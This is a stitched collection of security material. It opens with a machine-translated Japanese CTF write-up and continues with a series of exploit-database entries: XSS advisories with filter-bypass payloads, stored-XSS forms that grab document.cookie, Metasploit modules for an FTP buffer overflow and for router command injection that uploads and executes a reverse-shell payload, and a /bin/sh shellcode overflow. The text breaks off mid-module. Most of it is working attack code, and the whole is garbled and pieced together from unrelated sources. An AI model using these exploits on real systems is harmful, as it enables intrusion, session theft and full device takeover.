http://codetab.com/jsunfuckオンラインWebサイト復号化

フラグを復号化します

image

失われた犬

アタッチメントが開きます

image

Lost Dogフォルダーを開きます

image

圧縮パッケージに画像がありますが、パスワードが必要です

Ziperelloでのブルートフォースクラッキングを使用し、文字セットを番号に設定します

image

image

パスワードは142345であり、ファイルが正常に解凍されて写真を取得するために

image

KaliのBinwalkを使用してファイルコンテンツを分析します

image

隠された画像にjpgファイルが隠されていることがわかりました

ファイルを取り外すには、最優先事項を使用します

image

2番目の画像はフラグを示しています

image

ヘビ

6000ポイントに達したときにチップがありました

image

ソースコードをトレースします

image

show_text関数を改造します

image

image

pyinstallerが困惑した後、snake.pycがあります。 PYをPYに分解した後、それはそのソースコードです。

image

image

旗を獲得:

image

質問

署名して戻ってきて、次回続行します。

crypto

サインイン

添付ファイルが開きます

image

禅に関する仏教の禅の論文を解読して、一連のbase64暗号テキストを取得する

skjdvudwq0dqtlrxnjmzruw1v0hlwtnmtdvurzy0uzdqrlhyszdjpq==

復号化後、フラグを取得するためのbase32復号化:

image

rsa_e_n

添付ファイル:

image

RSAでE、N、Cを復号化し、スクリプトを直接入力してください。

gmpy2をインポートします

rsawienerhackerをインポートします

E=0x14B367BF01EFD4DC667B8E62975479C612C96E78F7F1F55242B2973C882DDC B33A65C52174D8AE1273764CE429054EA3F2FDC38FF205443C92EF4198739F05A A11FC10D3FC6FF30C8F5F05A04F43E3D8FC9BFFFE916B2E0360560A162729E91 B7775BDA70177E0F875626E0A81BD4EACEA9948B02232A82659F8D9AA9B4C754F

n=0x75BE564267F8BF6C2038DD0CADFEECBC3158ACFC27E679DD0BDB0DB0E90BD5 198A0A7EDC0626F357A2D75F3C37EDE045B7F7CA6BDA79E5BF6FC0AEA0AA7BEDA 587388599D2B77B538FC3E66666784493FFAF731E2AE232E8E9E9F9F2A4DF25C19 B7680F5BF6C485BD87923F01C17D8EC3543872C28E361774E6E7681D67ECBE19

C=1012765995653419108589656976567211665272051837730881475431227052308080885503362715840499693807070951204

Document Title:
===============
C & C++ for OS - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1825


Release Date:
=============
2016-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
1825


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
This is an ios c app,you can learn,run,share c code. The software is a offline compiler for developers with apple iOS.
Code templates,the contents of the new file is copy from contents of the template file.

(Copy of the Homepage: https://itunes.apple.com/us/app/c-for-os-programming-language/id1016290003 )


This is an ios c/c++ app,you can learn,run,share c/c++ code. In(the built-in browser or the txt editor),Select the text to run.
Code templates,the contents of the new file is copy from contents of the template file. 

(Copy of the Homepage: https://itunes.apple.com/us/app/c-c++-offline-compiler-for/id1016322367 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side validation vulnerability in the official C & C++ for OS web-application (api).


Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
XiaoWen Huang
Product: C for OS & C++ - Mobile API (Web-Application) 1.2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation and mail encode web vulnerability has been discovered  in the official C & C++ for OS web-application (api).
The persistent web vulnerability allows an attacker to inject malicious script codes on the application-side of the vulnerable modules context.

The basic validation of the code formular and mask allows to include any type of script codes or programming language without offensive input 
restrictions. Attackers can inject code to a project to share it with another source. In the moment the code of the project is generated to as 
email body, a persistent script code execution occurs.

There are two options to exploit, first is to send the malicious mail to the author of the program by the `Mail Author` function. Another possibility 
to execute code in the email body context is to share it with another code editor by email. In both email body message context the injected wrong 
filtered script code execution occurs. The internal encoding of the formular is correctly done but in case of sharing by qr or via message body email 
the execution occurs. The vulnerability is located on the application-side of the iOS application and the request method to inject requires physical 
device access or access to the share function. The bug is present in the C & C++ for OS 1.2 version of the mobile client. Attackers can for example 
generate a QR code with malicious context that is executed in the message body were the code is mainly displayed by the iOS application.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. 
Exploitation of the persistent vulnerability requires a low privileged ios device user account with restricted access and low user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Vulnerable Module(s):
				[+] Share to Authors
				[+] Share by Email
				[+] Share via QR Code

Vulnerable Function(s):
				[+] Console
				[+] C  or C++


Proof of Concept (PoC):
=======================
The persistent vulnerability and mail encoding bug can be exploited by remote attackers with low privileged device user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the perl app to your apple iOS device
2. Start the mobile application
3. Include to the first variable in the demo code java or html script code and save the entry as c or c++ script
4. Open the saved entry again and click the top right arrow menu
5. Now choose Create QR or Share menu button
6. Open the menu `Mail to Author` or push the default `iOS Mail App` button
7. Now the code of the formular gets transfered to the email message body context
Note: The encoding does not parse or encode any inserted values
8. The email arrives to the target inbox
9. Open the email and the code executes directly in the message body or next to the generated qr code
10. Successful reproduce of the filter and validation vulnerability in the c and c++ app api!

Note: The bug can be exploited by sending to the author, by sending to another target mail or by transfer of a qr code.


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable message body context.
Filter and parse all code values that are included to the message body. Configure the code to plain text not html to prevent 
further persistent injection attacks. In case of emergency use the escape function to separate the mechanism permanently.


Security Risk:
==============
The security risk of the application-side mail encode web vulnerability in the mobile application api is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
Document Title:
===============
Totemomail v4.x & v5.x - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1769


Release Date:
=============
2016-04-08


Vulnerability Laboratory ID (VL-ID):
====================================
1769


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
totemomail® Encryption Gateway protects your email communication with customers and business partners whereas 
totemomail Internal Encryption secures your internal email traffic. In combination, they become the innovative and potent 
hybrid encryption solution totemomail Hybrid Encryption. totemomail Encryption Gateway features a high level of security and 
it is easy for end users and administrators alike to use. The everyday user will have no need to think about encryption because 
the software is based on a high level of automation.

(Copy of the Vendor Homepage: http://www.totemo.com/products/mail/overview/introduction/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side vulnerability and a 
filter bypass issue in the Totemo Email Gateway v4.0 b1343 and v5.0 b512 appliance series .


Vulnerability Disclosure Timeline:
==================================
2016-02-26: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-02-27: Vendor Notification (Totemomail Security Team)
2016-02-30: Vendor Response/Feedback (TotemomailSecurity Team)
2016-03-11: Vendor Fix/Patch (Totemomail Developer Team)
2016-04-13: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability and a filter bypass issue has been discovered in the official Totemo Email Gateway v4.0 b1343 and v5.0 b512 appliance series .
The filter bypass issue allows an attacker to evade the controls of a protection or restriction mechanism to compromise further web module context or service functions.
The persistent validation vulnerability allows an attacker to inject own malicious script codes on the application-side of the vulnerable web-application module context.

The persistent input validation web vulnerability has been discovered in the `Betreff(Subject)` and `Message (Body)` input fields of the `Neue Nachricht (New Message)` module.
The attacker can inject malicious script codes to the message body or subject input field. After the inject of the non exectuable context is get send to another manager by 
secure mail interaction. After the arrival of the message the receiver clicks to `save as html`. In the moment the encoded mail context is generated as html, the malicious 
injected tag is getting visible as executable context. The injection point of the vulnerability are the `subject` and `message body` input fields and the execution point 
occurs in the moment the target manager generated the message as html to review or print.

The regular filter mechanism and validation does not allow to inject for example iframes and basic script code tags like script, iframe, div to the web input forms. As far as 
an payload is included to for example the subject as listing the validation parses and encodes the string and show only the first two characters. We figured out that is possible 
to bypass by usage of `img` script code tags with onload alert. The encoding of the input needs to be restricted permanently against special char inputs, the validation procedure 
needs to parse and encode the input without extending the entry with a null location entry.

Vulnerable Module(s):
				[+] Posteingang - Nachricht

Vulnerable Input(s):
				[+] Subject (Betreff)
				[+] Message Body (Nachricht)

Affected Module(s):
				[+] Message Index (main.jsp)
				[+] Save as Html (Als HTML Speichern)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

1.1
Manual steps to reproduce the vulnerability ...
1. Open a new message
2. Include any random demo text first
3. Include now at least in the message body the script code payloads
4. Scroll above back to the subject and include the same payload to the subject input field
5. Save the entry as draft
6. You can now already see that the service attached to the script code another alt value
Note: "><img src="x" alt="null"> "><"<img src="x" alt="null">%20%20> ...
7. Now you send the message directly to a manager for reply
8. The manager received the message and treid to review it as html
9. The execution occurs in the subject and the message body of the html file
Note: The html file is wrong encoded and does not parse the values again next to generating the html source file
10. Successful reproduce of the filter bypass issue and persistent vulnerability!


PoC: Filter Bypass
"><"<img src="x">%20%20>"<iframe src=a>%20<iframe>
"><img src=x onerror=prompt(23);>
>"<<img src="c" onerror=alert(1)>


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure filter and parse of img onload alert script code tags that actually can bypass the filter validation of the Betreff input fields.
After that encode and parse the print function that stream the context in html format were the execution point occurs finally.
Restrict the input finally and disallow usage of special chars in the subject input field to prevent persistent script code injection attacks.
In the second step a secure validation of the pgp key filename (email|preeshare) and input is required to secure encode the vulnerable email and name value of the certificate file.
Re-encode the editor text values to no get obviously broken format context back like demonstrated in the picture.

Fix (temp): Do not open email via save as function in html to prevent exploitation of the issue.

Totemo AG: The vulnerability is already patched in the newst version of the appliance web-application to protect customers.
The update can be processed automatically or by manual interaction with the web-service.


Security Risk:
==============
The security risk of the filter bypass issue and application-side input validation encoding vulnerability in the totemomail Hybrid Encryption appliance web-application.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
<!--


NationBuilder Multiple Stored XSS Vulnerabilities


Vendor: NATIONBUILDER WHQ
Product web page: http://www.nationbuilder.com
Affected version: unknown
Platform: Ruby

Summary: NationBuilder is a unique nonpartisan community
organizing system that brings together a comprehensive
suite of tools that today's leaders and creators need to
gather their tribes. Deeply social.

Desc: The application suffers from multiple stored XSS
vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context
of an affected site.

Tested on: Apache/2.2.22 (Ubuntu)
           Phusion Passenger 4.0.48


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5318
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5318.php

Ruby client for NationBuilder API:
https://github.com/nationbuilder/nationbuilder-rb


11.04.2016

-->


#1 Stored XSS in 'signup[note]' POST parameter
----------------------------------------------
#
#  PoC:
#

<html>
  <body>
    <form action="https://domain.local/admin/signups/2/background?screen=signup-header" method="POST">
      <input type="hidden" name="utf8" value="%E2%9C%93" />
      <input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" />
      <input type="hidden" name="signup[note]" value="<script>alert(onfirm(document.cookie)</script>" />
      <input type="hidden" name="commit" value="Save background" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



#2 Stored XSS in 'page_tag[name]' POST parameter
------------------------------------------------
#
#  PoC:
#

<html>
  <body>
    <form action="https://domain.local/admin/sites/1/tags" method="POST">
      <input type="hidden" name="utf8" value="%E2%9C%93" />
      <input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" />
      <input type="hidden" name="page_tag[name]" value="<script>confirm(document.cookie)</script>" />
      <input type="hidden" name="commit" value="Add tag" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



#3 Stored XSS in 'page[slug]' and 'page[headline]' POST parameters
------------------------------------------------------------------
#
#  PoC:
#

<html>
  <body>
    <form action="https://domain.local/admin/sites/1/pages/12?screen=seo" method="POST">
      <input type="hidden" name="utf8" value="â" />
      <input type="hidden" name="_method" value="put" />
      <input type="hidden" name="authenticity_token" value="wAqOhULjnK8/H3ip+zE6yg3IHaGa6ggbjxOoN2tf30I=" />
      <input type="hidden" name="page[title]" value="Volunteer - ZSL" />
      <input type="hidden" name="page[slug]" value="volunteer_script_confirm_document_cookie_script" />
      <input type="hidden" name="page[headline]" value="Volunteer<script>confirm(document.cookie)</script>" />
      <input type="hidden" name="page[excerpt]" value="1" />
      <input type="hidden" name="commit" value="Save page" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

## Original Exploit Information ##
# Date:  29 Aug 2015
# Exploit Author: Koby
# Tested on: Windows XP SP3
# Link: https://www.exploit-db.com/exploits/38013/

## Software Information ##
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7

## Metasploit Module Information ##
# Date:  16 April 2016
# Exploit Author: Jonathan Smith
# Tested on: Windows XP SP2

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})

 super(update_info(info,

    'Name' => 'PCMan RENAME overflow',

    'Description' => 'This module exploits a buffer overflow in the RENAME command of PCMAN FTP Server 2.0.7. This requires authentication but anonymous credentials are enabled by default.',

    'Author' => [ 'Metasploit module author: Jonathan Smith. Vulnerability originally discovered by Koby on 29 August 2015. Metasploit module developed 16 April 2016.'],

    'Version' => '$Revision: 1 $',

    'Platform' => ['win'],

    'Targets' => [ [ 'Windows XP SP2', { } ],],

    'DefaultTarget' => 0,

    'License' => GPL_LICENSE,

    'Payload' => {'BadChars' => "\x00\x0a\x0d"},

    'DefaultOptions' => {'EXITFUNC' => 'process'}

 ))

 end

def exploit

 connect_login

 exploitcode = "A" * 2004 + "\x65\x82\xA5\x7C" + make_nops(30) + payload.encoded

 send_cmd( ['RENAME', exploitcode] , false )

 disconnect

 end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution',
      'Description' => %q{
          A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106
        exposing Iperf tool to unauthenticated users. Injecting a
        command in the perf_measure_server_ip parameter, an attacker
        can execute arbitrary commands. Since the service runs as root,
        the remote command execution has the same administrative privileges.
        The remote shell is obtained uploading the payload and executing it.
        A reverse shell is preferred rather then a bind one, since firewall
        won't allow (by default) incoming connections.

        Tested on Hardware version V02A and Firmware version 01.01.02.082.
      },
      'Author'      =>
        [
          'Federico Scalco <fscalco [ at] mentat.is>'
          #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'EDB', '39716' ],
          [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
          [ 'URL' , 'http://www.gemtek.com.tw/' ]
        ],
      'DisclosureDate' => 'Apr 07 2016',
      'Privileged'     => false,
      'Platform'       => %w{ linux },
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux arm Payload',
            {
            'Arch' => ARCH_ARMLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
      {
        'RPORT' => 443,
        'SHELL' => '/bin/sh'
      }
    ))

    register_options(
      [
        OptInt.new('CMD_DELAY', [false, 'Time that the Handler will wait for the incoming connection', 15]),
        OptInt.new('CHUNKS_DELAY', [false, 'Timeout between payload\'s chunks sending requests', 2]),
        OptString.new('UPFILE', [ false, 'Payload filename on target server, (default: random)' ]),
        OptInt.new('CHUNK_SIZE', [ false, 'Payload\'s chunk size (in bytes, default: 50)', 50 ]),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)

  end

  def request_resource(resname)
    begin
      res = send_request_cgi({
        'uri'    => resname,
        'method' => 'GET',
      })
      return res
    rescue ::Rex::ConnectionError
      vprint_error("#{@rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end

  def cleanup
    print_status("#{@rhost}:#{rport} - Cleanup fase, trying to remove traces...")

    begin
      clean_target(@upfile)
    rescue
      vprint_error("#{@rhost}:#{rport} - Failed to clean traces (/www/#{@upfile}). The resource must be removed manually")
    end
    return
  end

  def clean_target(resname)
    res = request_resource(resname)
    if res and res.code != 404
      print_status("#{rhost}:#{rport} - Found resource " + resname + ". Cleaning up now")
      #remove
      cmd = '"; rm /www/' + resname +' &> /dev/null #'
      res = act(cmd, "deleting resource")
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to delete resource /www/#{resname} (have to do it manually)")
      end
    end
  end

  def set_conditions(buffer)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
    'encode_params' => true,
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'save_iperf_value',
        'perf_measure_server_ip' => buffer,
        'perf_measure_server_port' => '5555',
        'perf_measure_cpe_port' => '5554',
        'perf_measure_test_time' => '60',
        'perf_measure_protocol_type' => '1',
        'perf_measure_packet_data_length' => '1024',
        'perf_measure_bandwidth' => '19m',
        'perf_measure_client_num' => '1'
    }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to set_condition request")
    end

    return res
  end

  def toggle_once
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'perf_measure_status_toggle'
    }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to toggle request")
    end

    if res.body == "1"
      @retoggled = false
      return true
    elsif !@retoggled
      #print_status("#{@rhost}:#{rport} - First toggle request returned 0, retoggling now...")
      @retoggled = true
      toggle_once()
    else
      fail_with(Failure::UnexpectedReply, "Toggler cgi did not respond in an expected way")
    end

  end

  def act(buffer, step)
    set_conditions(buffer)
    res = toggle_once()
    return res
  end

  def exploit

    @retoggled = false;
    @cmd_delay = datastore['CMD_DELAY'] || 15
    @chunk_size = datastore['CHUNK_SIZE'] || 50
    @rhost = datastore['RHOST']
    @rport = datastore['RPORT']
    @upfile = datastore['UPFILE'] || rand_text_alpha(8+rand(8))
    chunk_delay = datastore['CHUNKS_DELAY'] || 2

    clean_target(@upfile)

    pl = payload.encoded_exe
    chunks = pl.scan(/.{1,#{@chunk_size}}/)
    hash = Hash[chunks.map.with_index.to_a]

    print_status("Total payload chunks: " + chunks.length.to_s )
    print_status("#{rhost}:#{rport} - Uploading chunked payload on the gemtek device (/www/#{@upfile})")

    for chk in chunks
      chind = hash[chk]
      safe_buffer = chk.each_byte.map { |b| '\x' + b.to_s(16) }.join

      if chind == 0
        s_redir = '>'
      else
        s_redir = '>>'
      end

      cmd = '"; printf \'' + safe_buffer + '\' ' + s_redir + ' /www/' + @upfile + ' #'

      print_status("#{@rhost}:#{rport} - Uploading chunk " + (chind + 1).to_s + "/" + chunks.length.to_s + ('.' * (chind + 1)))
      res = act(cmd, "uploading shell")
      if (!res)
       fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
      end
      select(nil, nil, nil, chunk_delay)
    end

    #chmod request
    cmd = '"; chmod 777 /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to chmod #{@upfile}")
    res = act(cmd, "chmodding payload")
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod payload")
    end

    select(nil, nil, nil, @cmd_delay)

    #phone home
    cmd = '"; /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to execute #{@upfile}")
    res = act(cmd, "executing payload")
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    select(nil, nil, nil, @cmd_delay)

  end
end
            
# Exploit Title: CompuSource Systems - Real Time Home Banking - Local
Privilege Escalation/Arbitrary Code Execution
# Date: 2/25/16
# Exploit Author: singularitysec@gmail.com
# Vendor Homepage: https://www.css4cu.com
#                                   : https://www.css4cu.com/Next/InfoSide/SoftwareSolutions.php
# Version: CompuSource Systems - Real Time Home Banking
# Tested on: Windows 7
# CVE : TBD

Note: Windows Server 2003/2008/2012  *may* be vulnerable, depending on
system configuration.

This vulnerability has been reference checked against multiple installs.
This configuration was identical across all systems tested.

Executables/Services:

%SystemRoot%/css50/csdir/RealTimeHomeBankingSvc.exe
HomeBankingService

Attack Detail:
The application installs with LOCAL SYSTEM service credentials in the
directory %SystemRoot%/css50/csdir


The executables that are installed, by default, allow AUTHENTICATED USERS
to modify, replace or alter the file. This would allow an attacker to
inject their code or replace the executable and have it run in the context
of the system.


This would allow complete compromise of a machine on which it was
installed, giving the process LOCAL SYSTEM access to the machine in
question. An attacker can replace the file or append code to the
executable, reboot the system or restart the service and it would then
compromise the machine. As LOCAL SYSTEM is the highest privilege level on a
machine, this allows total control and access to all parts of the system.


Remediation:

Remove the modify/write permissions on the executables to allow only
privileged users to alter the files.
Apply vendor patch when distributed.

Vulnerability Discovered: 2/25/16

Vendor Notified: 2/25/16


Website: www.information-paradox.net
This vulnerability was discovered by singularitysec@gmail.com. Please
credit the author in all references to this exploit.
            
# Exploit Title: RATS 2.3 Crash POC
# Date: 25th April 2016
# Exploit Author: David Silveiro
# Author Contact: twitter.com/david_silveiro
# Website: Xino.co.uk
# Software Link: https://code.google.com/archive/p/rough-auditing-tool-for-security/downloads
# Version: RATS 2.3
# Tested on: Ubuntu 14.04 LTS
# CVE : 0 day

from shlex import split
from os import system


def crash():

    try:
        com = ('rats --AAAA')
        return system(com)
    
    except:
        print("Is RATS installed?")


def main():

    print("Author:   David Silveiro        ")
    print("Website:  Xino.co.uk            ")
    print("Title:    POC RATS v2.3 Crash \n")

    crash()


if __name__ == "__main__":
    main()
    
            
'''
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: General-purpose console screen reader
# Version: 0.6.9-5
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Yasr is a general-purpose console screen reader
for GNU/Linux and other Unix-like operating systems.
# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
# Website: http://yasr.sourceforge.net/
#
#
# Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x90909090 in ?? ()
#
#gdb$ backtrace
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7e34a23 in __GI_abort () at abort.c:89
#3  0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at
../sysdeps/posix/libc_fatal.c:175
#4  0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
"buffer overflow detected") at fortify_fail.c:31
#5  0xb7effc3a in __GI___chk_fail () at chk_fail.c:28
'''

import os, subprocess

def run():
  try:
    print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*298
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
    eip = "\xd2\xf3\xff\xbf"
    subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Yasr Console Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
      'Description'    => %q{
         This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.

         This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
         of Advantech WebAccess. Authentication is not required to exploit this vulnerability.

         The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
         the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
         upload arbitrary code (instead of an image) to the server, which will then be executed under the
         high-privilege context of the IIS AppPool.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'rgod', # Vulnerability discovery
        'Zhou Yu <504137480[at]qq.com>' # MSF module
      ],
      'References'     => [
        [ 'CVE', '2016-0854' ],
        [ 'ZDI', '16-128' ],
        [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
      ],
      'Platform'      => 'win',
      'Targets'       => [
